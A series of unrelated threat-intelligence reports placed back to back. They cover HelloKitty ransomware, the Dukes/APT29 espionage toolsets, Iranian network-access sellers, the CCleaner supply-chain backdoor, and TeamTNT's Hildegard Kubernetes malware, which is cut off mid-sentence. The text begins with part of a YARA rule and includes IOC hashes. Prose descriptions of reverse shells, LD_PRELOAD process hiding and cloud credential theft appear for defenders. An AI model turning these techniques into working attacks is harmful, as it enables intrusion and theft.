author = "SI-LAB" last_updated = "2019-12-28" tlp = "white" category = "informational" strings: $lampion_a = {3f 3f 3f 3f 3f 3f 3f 74 61 3f 3f 3f 3f 3f 3f 00} condition: all of ($lampion_*) or hash.md5(0, filesize) == "18977c78983d5e3f59531bd6654ad20f" } ``` Thank you to all who have contributed: - Corsin Camichel @cocaman - David Montenegro @CryptoInsane Pedro Tavares is a professional in the field of information security, working as an Ethical Hacker, Malware Analyst, Cybersecurity Analyst, and also a Security Evangelist. He is also a founding member and Pentester at CSIRT.UBI and founder of the security computer blog seguranca-informatica.pt. In recent years he has invested in the field of information security, exploring and analyzing a wide range of topics, such as pentesting (Kali Linux), malware, hacking, cybersecurity, IoT, and security in computer networks. He is also a Freelance Writer.
# Punk Kitty Ransom - Analysing HelloKitty Ransomware Attacks February 10, 2021 Yesterday, the company behind the gaming blockbuster Cyberpunk 2077 announced that it had been hit by a ransomware attack and the hackers claimed to have stolen source code for upcoming games. The most likely culprit at this time of the known ransomware groups is a group known as HelloKitty. Below we have taken a look at previous HelloKitty attacks and found a trail of victims. Previous attacks include potentially dangerous code to kill applications, including Industrial Control Systems. We also found links to earlier notable ransomware attacks. ## Background Yesterday CD Projekt Red revealed they had fallen victim to a ransomware attack: “An unidentified actor gained unauthorized access to our internal network, collected certain data belonging to CD PROJEKT capital group, and left a ransom note the content of which we release to the public.” They join a number of other gaming companies to have recently suffered the same fate. The Emsisoft CTO has suggested this may be the work of HelloKitty ransomware. That is based on the ransomware note and rare filename, and they caveat that it’s not possible to be sure without seeing the ransomware itself. We’d concur with that caution. Whilst the notes are certainly familiar – they are custom for most victims and not an exact match. As an anti-virus with a track record of ransomware analysis, it’s likely Emsisoft has seen samples of HelloKitty that we have not and have included that in their assessment. With those caveats in hand – we took a look at previous HelloKitty attacks below. ## Most Recent Attacks The most recent attack we’ve seen from HelloKitty targeted a UK Healthcare organisation at the end of January 2021. It goes without saying that it is particularly irresponsible to be deploying targeted ransomware to organisations that provide key medical services during a global pandemic. ### Christmas 2020 Attacks Attackers are well aware of the importance timing can make to the impact of their attacks. Notably, Russian attackers successfully disabled Ukrainian power networks for two consecutive Christmas Eves. The timing both left thousands of families without power on Christmas day, and only a skeleton crew at the power company to respond. We’re aware of at least two, and likely more, attacks that HelloKitty delivered on Christmas Day 2020. They likely had access for some time before, but chose to deploy their ransomware on Christmas day for maximum impact. The first has previously been reported on. At Christmas 2020 the Brazilian powerplant operator CEMIG disclosed on Facebook that they had fallen victim to a ransomware attack: “CEMIG informs that on December 25, 2020, the SOC (security operation nucleus) detected anomalous behavior on the internal network, with characteristics of a malicious ransomware attack. The teams responsible for the correct detection of the attack and subsequent adoption of the containment measures were immediately activated. Less than 10% of servers on the Windows / Microsoft Hyper-V platform had their content encrypted. Workstations have also been partially compromised and are in the process of being verified. It is important to highlight that, thanks to the fast and effective containment action carried out by Cemig, the operation of the electrical system and the main databases (customers, billing, customer service and business management) were not compromised, thus guaranteeing the provision of services to our clients.” The statement about the Hyper-V platform matches the ransomware note we’ve seen linked to the attack. Reportedly, CEMIG had restored their system within four days. As normal with targeted ransomware, the attackers provided a chat link for CEMIG. The conversation was captured by the site ID Ransomware. Based on the conversation, we think it is unlikely that CEMIG decided to pay the ransom. But CEMIG was not the only target at Christmas. We’ve seen another HelloKitty ransomware note from a different target that was uploaded to the site VirusTotal.com on Christmas day 2020. ### Application Termination One sample of HelloKitty, compiled on 26th December 2020, contains a large list of applications to terminate. We were disturbed to see terminated applications included Industrial Control System software such as GE Proficy and Honeywell HMIWeb. Investigating this list, it appears it is copied from the MegaCortex/Ekans/Snake ransomware. When the MegaCortex list was first identified it generated significant concern about the impact it could have on SCADA systems. However, more day-to-day applications such as backup software and accounting software are also terminated. As researchers noted at the time – the attackers seem concerned with stopping any software that may limit its impact, rather than specifically targeting SCADA. Nonetheless it is concerning to see such careless code in a sample of malware, which was compiled at the same time that a Powerplant operator was enduring their attack. ## Links to Earlier Campaigns We quickly found links to the “TechStrat” ransomware identified in October 2020. The ransomware note is named the same (“read_me_lkdtt.txt”) as many HelloKitty ransomware notes. And the note itself is very similar to the note that was deployed to CEMIG. Decompiling the code of a sample shows it to also be extremely similar to other HelloKitty samples. It also contains the code to kill a range of applications that was borrowed from MegaCortex. In addition, we spotted possible overlaps with an earlier family called “DeathRansom.” A quick review is shown from Intezer’s analysis and Antivirus vendors often detecting both HelloKitty ransomware binaries and notes as DeathRansom. If so, that may be particularly interesting given that Fortinet tracked down the DeathRansom author in an involved blog post in January 2020. Additionally, Emsisoft caveat here: “Some analysts may refer to HelloKitty as DeathRansom, a strain of malware that was originally only capable of renaming files. Different versions of DeathRansom were later developed that could encrypt files in various ways. However, the relationship between DeathRansom and HelloKitty is still not fully clear.” ## In Closing It’s clear that HelloKitty is yet another set of targeted ransomware operators that have moved to threaten their victims with impact going beyond the immediate destruction of data. If they are indeed linked to the earlier DeathRansom attacks, they have improved significantly from their initial forays into ransomware. The first version didn’t even encrypt anything. We have provided some suggested mitigation strategies below. ## Mitigation We have included a number of mitigation strategies that Cado Security recommends both for HelloKitty and ransomware in general: - Consider utilising separate IT systems (privileged access workstations) for used by network and system administrators. For these systems, utilise additional two-factor authentication and ensure there is no direct access to the Internet. - Consider employing an “allowed list” to restrict server outbound communications to IPs / Domains that they need access to. - Consider storing backups of key business and critical IT infrastructure systems e.g. Active Directory, off of your network. - Avoid opening up RDP services to the internet; if it’s required consider using an ALLOW LIST approach only, and DENY all unknown IPs by default. - Ensure you have the ability to restore to a segregated network environment. - Ensure you have tested the restore capabilities of your backups. Both the UK NCSC and ICS-CERT provide more extended mitigations for destructive attacks. ## About Cado Security Cado Security specialises in providing tooling and techniques that allow organisations to threat hunt and investigate cloud and container systems. If you are interested in knowing more, please don’t hesitate to reach out, our pilot program is now open. ## Updates to this Blog 12th February 2021: - Updated to add link to Emsisoft’s new blog post on 12th February - Added reference to MalwareHunterTeam saying it may not be CEMIG communicating with Hello Kitty ## Indicators of Compromise - fa722d0667418d68c4935e1461010a8f730f02fa1f595ee68bd0768fd5d1f8bb - 9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0 - c7d6719bbfb5baaadda498bf5ef49a3ada1d795b9ae4709074b0e3976968741e - 56978ab3cb8172239da8742ebe41ef099bb9e1b58e23956a82bf495d7cc94c00 - a6067ecff5c441c2e9654abfe928ae5a81b57e19f3a80ac945a7780f92b39ff3 - 613f9fb99d927e02ba4d7b7122df577fe775e2e56d7ddce5636fd810fc1392ad - a63879a8f90286ca0ba54b446f94dd2e51da549dc4ebd91cb67018e910436280 - 78afe88dbfa9f7794037432db3975fa057eae3e4dc0f39bf19f2f04fa6e5c07c - 02a08b994265901a649f1bcf6772bc06df2eb51eb09906af9fd0f4a8103e9851 - 38d9a71dc7b3c257e4bd0a536067ff91a500a49ece7036f9594b042dd0409339 - 9a7daafc56300bd94ceef23eac56a0735b63ec6b9a7a409fb5a9b63efe1aa0b0 ## MITRE Attack - T1059 Enterprise — Command and Scripting Interpreter - T1047 Execution — Windows Management Instrumentation - T1135 Discovery — Network Share Discovery - T1082 Discovery — System Information Discovery - T1124 Discovery — System Time Discovery - T1012 Discovery — Query Registry - T1045 Defense Evasion — Software Packing - T1486 Impact— Data Encrypted for Impact - T1490 Impact — Inhibit System Recovery ## About The Author Chris Doman is well known for building the popular threat intelligence portal ThreatCrowd, which subsequently merged into the AlienVault Open Threat Exchange, later acquired by AT&T. Chris is an industry-leading threat researcher and has published a number of widely read articles and papers on targeted cyber attacks. His research on topics such as the North Korean government’s crypto-currency theft schemes, and China’s attacks against dissident websites, have been widely discussed in the media. He has also given interviews to print, radio and TV such as CNN and BBC News.
# THE DUKE'S 7 Years of Russian Cyberespionage This whitepaper explores the tools of the Dukes, a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. ## EXECUTIVE SUMMARY The Dukes are a well-resourced, highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making. The Dukes primarily target Western governments and related organizations, such as government ministries and agencies, political think tanks, and governmental subcontractors. Their targets have also included the governments of members of the Commonwealth of Independent States; Asian, African, and Middle Eastern governments; organizations associated with Chechen extremism; and Russian speakers engaged in the illicit trade of controlled substances and drugs. The Dukes are known to employ a vast arsenal of malware toolsets, which we identify as MiniDuke, CosmicDuke, OnionDuke, CozyDuke, CloudDuke, SeaDuke, HammerDuke, PinchDuke, and GeminiDuke. In recent years, the Dukes have engaged in apparently biannual large-scale spear-phishing campaigns against hundreds or even thousands of recipients associated with governmental institutions and affiliated organizations. These campaigns utilize a smash-and-grab approach involving a fast but noisy break-in followed by the rapid collection and exfiltration of as much data as possible. If the compromised target is discovered to be of value, the Dukes will quickly switch the toolset used and move to using stealthier tactics focused on persistent compromise and long-term intelligence gathering. In addition to these large-scale campaigns, the Dukes continuously and concurrently engage in smaller, much more targeted campaigns, utilizing different toolsets. These targeted campaigns have been going on for at least 7 years. The targets and timing of these campaigns appear to align with the known foreign and security policy interests of the Russian Federation at those times. The Dukes rapidly react to research being published about their toolsets and operations. However, the group (or their sponsors) value their operations so highly that though they will attempt to modify their tools to evade detection and regain stealth, they will not cease operations to do so, but will instead incrementally modify their tools while continuing apparently as previously planned. In some of the most extreme cases, the Dukes have been known to engage in campaigns with unaltered versions of tools that only days earlier have been brought to the public’s attention by security companies and actively mentioned in the media. In doing so, the Dukes show unusual confidence in their ability to continue successfully compromising their targets even when their tools have been publicly exposed, as well as in their ability to operate with impunity. ## THE STORY OF THE DUKES The story of the Dukes, as it is currently known, begins with a malware toolset that we call PinchDuke. This toolset consists of multiple loaders and an information-stealer trojan. Importantly, PinchDuke trojan samples always contain a notable text string, which we believe is used as a campaign identifier by the Dukes group to distinguish between multiple attack campaigns that are run in parallel. These campaign identifiers, which frequently specify both the date and target of the campaign, provide us with a tantalizing view into the early days of the Dukes. ### 2008: Chechnya The earliest activity we have been able to definitively attribute to the Dukes are two PinchDuke campaigns from November 2008. These campaigns use PinchDuke samples that were, according to their compilation timestamps, created on the 5th and 12th of November 2008. The campaign identifiers found in these two samples are respectively, “alkavkaz.com20081105” and “cihaderi.net20081112”. The first campaign identifier, found in the sample compiled on the 5th, references alkavkaz.com, a domain associated with a Turkish website proclaiming to be the “Chechan Informational Center”. The second campaign identifier, from the sample compiled on the 12th, references cihaderi.net, another Turkish website that claims to provide “news from the jihad world” and which dedicates a section of its site to Chechnya. Due to a lack of other PinchDuke samples from 2008 or earlier, we are unable to estimate when the Duke operation originally began. Based on our technical analysis of the known PinchDuke samples from 2008, we believe PinchDuke to have been under development by the summer of 2008. ### Etymology: a note on names The origins of the Duke toolset names can be traced back to when researchers at Kaspersky Labs coined the term “MiniDuke” to identify the first Duke-related malware they found. As explained in their whitepaper, the researchers observed the surprisingly small MiniDuke backdoor being spread via the same exploit that was being used by a malware that they had already named ItaDuke; the “Duke” part of this malware’s name had in turn come about because it reminded the researchers of the notable Duqu threat. Despite the shared history of the name itself, however, it is important to note that there is no reason to believe that the Duke toolsets themselves are in any way related to the ItaDuke malware, or to Duqu for that matter. As researchers continued discovering new toolsets that were created and used by the same group that had been operating MiniDuke, the new toolsets were also given “Duke”-derived names, and thus the threat actor operating the toolsets started to be commonly referred to as “the Dukes”. The only other publicly used name for the threat actor that we are aware of is “APT29”. ### 2009: First known campaigns against the West Based on the campaign identifiers found in PinchDuke samples discovered from 2009, the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda. Campaign identifiers from 2009 also reveal that by that time, the Dukes were already actively interested in political matters related to the United States (US) and the North Atlantic Treaty Organization (NATO), as they ran campaigns targeting a US-based foreign policy think tank, another set of campaigns related to a NATO exercise held in Europe, and a third set apparently targeting what was then known as the Georgian “Information Centre on NATO”. Of these campaigns, two clusters in particular stand out. The first is a set of campaigns from the 16th and 17th of April, 2009, that targeted a US-based foreign policy think tank, as well as government institutions in Poland and the Czech Republic. These campaigns utilized specially-crafted malicious Microsoft Word documents and PDF files, which were sent as e-mail attachments to various personnel in an attempt to infiltrate the targeted organizations. ### 2010: The emergence of CosmicDuke in the Caucasus The spring of 2010 saw continued PinchDuke campaigns against Turkey and Georgia, but also numerous campaigns against other members of the Commonwealth of Independent States such as Kazakhstan, Kyrgyzstan, Azerbaijan, and Uzbekistan. Of these, the campaign with the identifier “kaz_2010_07_30”, which possibly targeted Kazakhstan, is of note because it is the last PinchDuke campaign we have observed. We believe that during the first half of 2010, the Dukes slowly migrated from PinchDuke and started using a new infostealer malware toolset that we call CosmicDuke. The first known sample of the CosmicDuke toolset was compiled on the 16th of January 2010. Back then, CosmicDuke still lacked most of the credential-stealing functionality found in later samples. We believe that during the spring of 2010, the credential and file stealing capabilities of PinchDuke were slowly ported to CosmicDuke, effectively making PinchDuke obsolete. ### 2011: John Kasai of Klagenfurt, Austria During 2011, the Dukes appear to have significantly expanded both their arsenal of malware toolsets and their C&C infrastructure. While the Dukes employed both hacked websites and purposely rented servers for their C&C infrastructure, the group rarely registered their own domain names, preferring instead to connect to their self-operated servers via IP addresses. The beginning of 2011, however, saw a significant break from that routine, when a large grouping of domain names was registered by the Dukes in two batches; the first batch was registered on the 29th of January and the second on the 13th of February. All the domains in both batches were initially registered with the same alias: “John Kasai of Klagenfurt, Austria”. ### 2011: Continuing expansion of the Dukes arsenal By 2011, the Dukes had already developed at least 3 distinct malware toolsets, including a plethora of supporting components such as loaders and persistence modules. In fact, as a sign of their arsenal’s breadth, they had already decided to retire one of these malware toolsets as obsolete after developing a replacement for it, seemingly from scratch. The Dukes continued the expansion of their arsenal in 2011 with the addition of two more toolsets: MiniDuke and CozyDuke. While all of the earlier toolsets – GeminiDuke, PinchDuke, and CosmicDuke – were designed around a core infostealer component, MiniDuke is centered on a simplistic backdoor component whose purpose is to enable the remote execution of commands on the compromised system. ### 2012: Hiding in the shadows We still know surprisingly few specifics about the Dukes group’s activities during 2012. Based on samples of Duke malware from 2012, the Dukes do appear to have continued actively using and developing all of their tools. Of these, CosmicDuke and MiniDuke appear to have been in more active use, while receiving only minor updates. GeminiDuke and CozyDuke, on the other hand, appear to have been less used in actual operations, but did undergo much more significant development. ### 2013: MiniDuke flies too close to the sun On the 12th of February 2013, FireEye published a blog post alerting readers to a combination of new Adobe Reader 0-day vulnerabilities, CVE-2013-0640 and CVE-2013-0641, that were being actively exploited in the wild. Eight days after FireEye’s initial alert, Kaspersky spotted the same exploit being used to spread an entirely different malware family from the one mentioned in the original report. On 27th February, Kaspersky and CrySyS Lab published research on this previously unidentified malware family, dubbing it MiniDuke. ### 2013: The curious case of OnionDuke After the February campaigns, MiniDuke activity appeared to quiet down, although it did not fully stop, for the rest of 2013. The Dukes group as a whole, however, showed no sign of slowing down. In fact, we saw yet another Duke malware toolset, OnionDuke, appear first in 2013. Like CozyDuke, OnionDuke appears to have been designed with versatility in mind, and takes a similarly modular platform approach. ### 2013: The Dukes and Ukraine In 2013, many of the decoy documents employed by the Dukes in their campaigns were related to Ukraine; examples include a letter undersigned by the First Deputy Minister for Foreign Affairs of Ukraine, a letter from the embassy of the Netherlands in Ukraine to the Ukrainian Ministry of Foreign Affairs, and a document titled “Ukraine’s Search for a Regional Foreign Policy”. ### 2013: CosmicDuke’s war on drugs In a surprising turn of events, in September 2013 a CosmicDuke campaign was observed targeting Russian speakers involved in the trade of illegal and controlled substances. Kaspersky Labs, who sometimes refer to CosmicDuke as ‘Bot Gen Studio’, speculated that “one possibility is that ‘Bot Gen Studio’ is a malware platform also available as a so-called ‘legal spyware’ tool”; therefore, those using CosmicDuke to target drug dealers and those targeting governments are two separate entities. ### 2014: MiniDuke’s rise from the ashes While MiniDuke activity decreased significantly during the rest of 2013 following the attention it garnered from researchers, the beginning of 2014 saw the toolset back in full force. All MiniDuke components, from the loader and downloader to the backdoor, had been slightly updated and modified during the downtime. Interestingly, the nature of these modifications suggests that their primary purpose was to regain the element of stealth and undetectability that had been lost almost a year earlier. ### 2014: OnionDuke gets caught using a malicious Tor node On the 23rd of October 2014, Leviathan Security Group published a blog post describing a malicious Tor exit node they had found. They noted that this node appeared to be maliciously modifying any executables that were downloaded through it over an HTTP connection. On the 14th of November, F-Secure published a blog post naming the malware OnionDuke and associating it with MiniDuke and CosmicDuke, the other Duke toolsets known at the time. ### 2014: CozyDuke and monkey videos While we now know that CozyDuke had been under development since at least the end of 2011, it was not until the early days of July 2014 that the first large-scale CozyDuke campaign that we are aware of took place. This campaign, like later CozyDuke campaigns, began with spear-phishing emails that tried to impersonate commonly seen spam emails. ### 2015: The Dukes up the ante The end of January 2015 saw the start of the most high-volume Duke campaign seen thus far, with thousands of recipients being sent spear-phishing emails that contained links to compromised websites hosting CozyDuke. Curiously, the spear-phishing emails were strikingly similar to the e-fax themed spam usually seen spreading ransomware and other common crimeware. ### 2015: CloudDuke In the beginning of July 2015, the Dukes embarked on yet another large-scale phishing campaign. The malware toolset used for this campaign was the previously unseen CloudDuke and we believe that the July campaign marks the first time that this toolset was deployed by the Dukes, other than possible small-scale testing. ### 2015: Continuing surgical strikes with CosmicDuke In addition to the notably overt and large-scale campaigns with CozyDuke and CloudDuke, the Dukes also continued to engage in more covert, surgical campaigns using CosmicDuke. The latest of these campaigns that we are aware of occurred during the spring and early summer of 2015. ## TOOLS AND TECHNIQUES OF THE DUKES ### PINCHDUKE - **First known activity:** November 2008 - **Most recent known activity:** Summer 2010 - **C&C communication methods:** HTTP(S) - **Known toolset components:** Multiple loaders, Information stealer The PinchDuke toolset consists of multiple loaders and a core information stealer trojan. The loaders associated with the PinchDuke toolset have also been observed being used with CosmicDuke. The PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a C&C server. ### GEMINIDUKE - **First known activity:** January 2009 - **Most recent known activity:** December 2012 - **C&C communication methods:** HTTP(S) - **Known toolset components:** Loader, Information stealer, Multiple persistence components The GeminiDuke toolset consists of a core information stealer, a loader, and multiple persistence-related components. Unlike CosmicDuke and PinchDuke, GeminiDuke primarily collects information on the victim computer’s configuration. ### COSMICDUKE - **First known activity:** January 2010 - **Most recent known activity:** Summer 2015 - **C&C communication methods:** HTTP(S), FTP, WebDav - **Known toolset components:** Information stealer, Multiple loaders, Privilege escalation component, Multiple persistence components The CosmicDuke toolset is designed around a main information stealer component. This information stealer is augmented by a variety of components that the toolset operators may selectively include with the main component to provide additional functionalities. ### MINIDUKE - **First known activity:** July 2010 - **Most recent known activity:** Summer 2014 - **C&C communication methods:** HTTP(S), Twitter - **Known toolset components:** Downloader, Backdoor, Loader The MiniDuke toolset consists of multiple downloader and backdoor components, which are commonly referred to as the MiniDuke “stage 1”, “stage 2”, and “stage 3” components as per Kaspersky’s original MiniDuke whitepaper. This concludes the overview of the Dukes and their operations.
# Iranian Hackers Selling Access to Compromised Companies The Iranian hacker group that's been attacking corporate VPNs for months is now trying to monetize some of the hacked systems by selling access to networks to other hackers. One of Iran's state-sponsored hacking groups has been spotted selling access to compromised corporate networks on an underground hacking forum, cyber-security firm Crowdstrike said in a report. The company identified the group using the codename **Pioneer Kitten**, which is also known as **Fox Kitten** or **Parisite**. The group, which Crowdstrike believes is a contractor for the Iranian regime, has spent 2019 and 2020 hacking into corporate networks via vulnerabilities in VPNs and networking equipment, such as: - Pulse Secure "Connect" enterprise VPNs (CVE-2019-11510) - Fortinet VPN servers running FortiOS (CVE-2018-13379) - Palo Alto Networks "Global Protect" VPN servers (CVE-2019-1579) - Citrix "ADC" servers and Citrix network gateways (CVE-2019-19781) - F5 Networks BIG-IP load balancers (CVE-2020-5902) The group has been breaching network devices using the above vulnerabilities, planting backdoors, and then providing access to other Iranian hacking groups, such as APT33 (Shamoon), Oilrig (APT34), or Chafer, according to reports from cyber-security firms ClearSky and Dragos. These other groups would then expand the "initial access" Pioneer Kitten managed to obtain by moving laterally across a network using more advanced malware and exploits, and then searching and stealing sensitive information likely of interest to the Iranian government. Crowdstrike reports that Pioneer Kitten has also been spotted selling access to some of these compromised networks on hacking forums since at least July 2020. The group is trying to diversify its revenue stream and monetize networks that have no intelligence value for Iranian intelligence services. Classic targets of Iranian state-sponsored hacking groups usually include companies and governments in the US, Israel, and other Arabic countries in the Middle East. Targeted sectors have typically included defense, healthcare, technology, and government. Anything else is most likely out of scope for Iranian government hackers and very likely to be made available on hacking forums to other gangs. Today, the biggest customers of "initial access brokers" (like Pioneer Kitten) are usually ransomware gangs.
# The CCleaner Malware Fiasco Targeted at Least 18 Specific Tech Firms **Andy Greenberg** **September 21, 2017** Update: On September 25, Avast confirmed that of the 18 companies targeted, a total of 40 computers were successfully infected with a secondary malware installation at the following companies: Samsung, Sony, Asus, Intel, VMWare, O2, Singtel, Gauselmann, Dyn, Chunghwa, and Fujitsu. Hundreds of thousands of computers getting penetrated by a corrupted version of an ultra-common piece of security software was never going to end well. But now it's becoming clear exactly how bad the results of the recent CCleaner malware outbreak may be. Researchers now believe that the hackers behind it were bent not only on mass infections but on targeted espionage that tried to gain access to the networks of at least 18 tech firms. Earlier this week, security firms Morphisec and Cisco revealed that CCleaner, a piece of security software distributed by Czech company Avast, had been hijacked by hackers and loaded with a backdoor that evaded the company's security checks. It wound up installed on more than 700,000 computers. On Wednesday, researchers at Cisco's Talos security division revealed that they've now analyzed the hackers' "command-and-control" server to which those malicious versions of CCleaner connected. On that server, they found evidence that the hackers had attempted to filter their collection of backdoored victim machines to find computers inside the networks of 18 tech firms, including Intel, Google, Microsoft, Akamai, Samsung, Sony, VMware, HTC, Linksys, D-Link, and Cisco itself. In about half of those cases, says Talos research manager Craig Williams, the hackers successfully found a machine they'd compromised within the company's network and used their backdoor to infect it with another piece of malware intended to serve as a deeper foothold, one that Cisco now believes was likely intended for industrial espionage. "When we found this initially, we knew it had infected a lot of companies," says Williams. "Now we know this was being used as a dragnet to target these [companies] worldwide...to get footholds in companies that have valuable things to steal, including Cisco unfortunately." ## A Wide Net Cisco says it obtained a digital copy of the hackers' command-and-control server from an unnamed source involved in the CCleaner investigation. The server contained a database of every backdoored computer that had "phoned home" to the hackers' machine between September 12 and 16. That included over 700,000 PCs, just as Avast has said in the days since it first revealed its CCleaner debacle. (Initially, the company put the number much higher, at 2.27 million.) But the database also showed a list of specific domains onto which the hackers sought to install their secondary malware payload, as well as which ones received that second infection. The secondary payload targeted 18 companies in all, but Williams notes that some companies had more than one computer compromised, and some had none. He declined to say which of the targets had in fact been breached, but Cisco says it's alerted all the affected companies to the attack. Williams also notes the target list Cisco found likely isn't comprehensive; it appears to have been "trimmed." It may have included evidence of other targets, successfully breached or not, that the hackers had sought to infect with their secondary payload earlier in the month-long period when the corrupted version of CCleaner was being distributed. "It’s very likely they modified this through the monthlong campaign, and it’s almost certain that they changed the list around as they progressed and probably targeted even more companies," says Williams. In an update post Thursday morning, Avast backed Cisco's findings and confirmed that eight of the 18 known target companies had been breached by the hackers. But it also wrote that the total number of victim firms "was likely at least in the order of hundreds." That target list presents a new wrinkle in the unfolding analysis of the CCleaner attack, one that shifts it from what might have otherwise been a run-of-the-mill mass cybercrime scheme to a potentially state-sponsored spying operation that cast a wide net and then filtered it for specific tech-industry victims. Cisco and security firm Kaspersky have both pointed out that the malware element in the tainted version of CCleaner shares some code with a sophisticated hacking group known as Group 72, or Axiom, which security firm Novetta named a Chinese government operation in 2015. Cisco concedes that code reuse alone doesn't represent a definitive link between the CCleaner attack and Axiom, not to mention China. But it also notes that one configuration file on the attackers' server was set for China's time zone—while still acknowledging that's not enough for attribution. ## Supply Chain Woes For any company that may have had computers running the corrupted version of CCleaner on their network, Cisco warns that its findings mean merely deleting that application is no guarantee the CCleaner backdoor wasn't used to plant a secondary piece of malware on their network, one with its own, still-active command and control server. Instead, the researchers recommend that anyone affected fully restore their machines from backup versions prior to the installation of Avast's tainted security program. "If you didn’t restore your system from backup, you’re at high risk of not having cleaned this up," Williams says. The exact dimensions of the CCleaner attack will likely continue to be redrawn as analysis continues. But it already represents another serious example in the string of software supply-chain attacks that have recently rocked the internet. Two months earlier, hackers hijacked the update mechanism of the Ukrainian accounting software MeDoc to deliver a destructive piece of software known as NotPetya, causing massive damage to companies in Ukraine as well as in Europe and the United States. In that case, as in the CCleaner attack, victims installed seemingly legitimate software from a small but trusted company, only to find that it had been silently corrupted, deeply infecting their IT systems. In the days following the NotPetya attack, many in the security research community shifted their assessment of the attack from a criminal ransomware outbreak to something more insidious, targeted, and created by nation-state hackers. Now, it seems that the mystery surrounding the CCleaner attack may be moving in that same, disturbing direction.
# Hildegard: New TeamTNT Malware Targeting Kubernetes **By Jay Chen, Aviv Sasson and Ariel Zelivansky** February 3, 2021 ## Executive Summary In January 2021, Unit 42 researchers detected a new malware campaign targeting Kubernetes clusters. The attackers gained initial access via a misconfigured kubelet that allowed anonymous access. Once gaining a foothold into a Kubernetes cluster, the malware attempted to spread over as many containers as possible and eventually launched cryptojacking operations. Based on the tactics, techniques, and procedures (TTP) that the attackers used, we believe this is a new campaign from TeamTNT. We refer to this new malware as Hildegard, the username of the tmate account that the malware used. TeamTNT is known for exploiting unsecured Docker daemons and deploying malicious container images, as documented in previous research. However, this is the first time we found TeamTNT targeting Kubernetes environments. In addition to the same tools and domains identified in TeamTNT’s previous campaigns, this new malware carries multiple new capabilities that make it more stealthy and persistent. In particular, we found that TeamTNT’s Hildegard malware: - Uses two ways to establish command and control (C2) connections: a tmate reverse shell and an Internet Relay Chat (IRC) channel. - Uses a known Linux process name (bioset) to disguise the malicious process. - Uses a library injection technique based on LD_PRELOAD to hide the malicious processes. - Encrypts the malicious payload inside a binary to make automated static analysis more difficult. We believe that this new malware campaign is still under development due to its seemingly incomplete codebase and infrastructure. At the time of writing, most of Hildegard’s infrastructure has been online for only a month. The C2 domain borg[.]w was registered on Dec. 24, 2020, the IRC server went online on Jan. 9, 2021, and some malicious scripts have been updated frequently. The malware campaign has ~25.05 KH/s hashing power, and there is 11 XMR (~$1,500) in the wallet. There has not been any activity since our initial detection, which indicates the threat campaign may still be in the reconnaissance and weaponization stage. However, knowing this malware’s capabilities and target environments, we have good reason to believe that the group will soon launch a larger-scale attack. The malware can leverage the abundant computing resources in Kubernetes environments for cryptojacking and potentially exfiltrate sensitive data from tens to thousands of applications running in the clusters. Palo Alto Networks customers running Prisma Cloud are protected from this threat by the Runtime Protection feature, Cryptominer Detection feature, and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives. ## Tactics, Techniques and Procedures Figure 1 illustrates how the attacker entered, moved laterally, and eventually performed cryptojacking in multiple containers. 1. The attacker started by exploiting an unsecured Kubelet on the internet and searched for containers running inside the Kubernetes nodes. After finding container 1 in Node A, the attacker attempted to perform remote code execution (RCE) in container 1. 2. The attacker downloaded tmate and issued a command to run it and establish a reverse shell to tmate.io from container 1. The attacker then continued the attack with this tmate session. 3. From container 1, the attacker used masscan to scan Kubernetes’s internal network and found unsecured Kubelets in Node B and Node C. The attacker then attempted to deploy a malicious crypto mining script (xmr.sh) to containers managed by these Kubelets (containers 2-7). 4. Containers that ran xmr.sh started an xmrig process and established an IRC channel back to the C2. 5. The attacker could also create another tmate session from one of the containers (container 4). With the reverse shell, the attacker could perform more manual reconnaissance and operations. The indicators of compromise (IOCs) found in each container are listed below. These files are either shell scripts or Executable Linkable Format (ELF). The IOC section at the end of the blog contains the hash and details of each file. - **Container 1:** TDGG was dropped and executed via Kubelet. TDGG then subsequently downloaded and executed tt.sh, api.key, and tmate. The attacker used the established tmate connection to drop and run sGAU.sh, kshell, install_monerod.bash, setup_moneroocean_miner.sh, and xmrig (MoneroOcean). - **Container 2-7:** xmr.sh was dropped and executed via Kubelet. - **Container 4:** The attacker also established a tmate session in this container. The attacker then dropped and executed pei.sh, pei64/32, xmr3.assi, aws2.sh, t.sh, tmate, x86_64.so, xmrig, and xmrig.so. Figure 2 maps the malware campaign’s TTP to MITRE ATT&CK tactics. The following sections will detail the techniques used in each stage. ## Initial Access Kubelet is an agent running on each Kubernetes node. It takes RESTful requests from various components (mainly kube-apiserver) and performs pod-level operations. Depending on the configuration, kubelet may or may not accept unauthenticated requests. Standard Kubernetes deployments come with anonymous access to kubelet by default. However, most managed Kubernetes services such as Azure Kubernetes Service (AKS), Google Kubernetes Engine (GKE), and Kubernetes operations (Kops) all enforce proper authentication by default. We discovered that TeamTNT gained initial access with the Hildegard malware by executing commands on kubelets that allow anonymous access. This was achieved by accessing the kubelet’s API and executing commands on running containers. ## Execution Hildegard uses kubelet’s API to execute commands inside containers. The initial commands create a tmate reverse shell that allows the attacker to carry out the subsequent operation. Unlike the techniques that TeamTNT used in the past, this malware campaign did not pull or run any new container image. ## Privilege Escalation Although Unit 42 researchers have not observed an attempt to perform privilege escalation, the malware dropped two adversarial tools, Peirates and BOtB, which are capable of breaking out of containers via known vulnerabilities or accessing cloud resources via exposed cloud credentials. ## Container Breakout BOtB can perform a container breakout using a known vulnerability such as CVE-2019-5736. It can also escape from privileged containers that have enabled CAPS and SYSCALLS. ## Access to Cloud Resources Peirates can gather multiple infrastructures and cloud credentials. It looks for identity and access management (IAM) credentials from cloud metadata services and service account tokens from the Kubernetes clusters. With the identified credentials, it then further attempts to move laterally or gain control of the cluster. While we observed Peirates in use, the container it was executed in had no credentials. ## Defense Evasion ### Library Injection Hildegard uses LD_PRELOAD to hide the malicious process launched inside the containers. The malware modified the /etc/ld.so.preload file to intercept shared libraries’ imported functions. In particular, the malware overwrites two functions: readdir() and readdir64(), which are responsible for returning the directory entries in the file system. The overwritten functions filter out queries made to directory entries under /proc. The functions then drop queries with keywords such as tmate, xmrig, and ziggy. This way, when applications try to identify 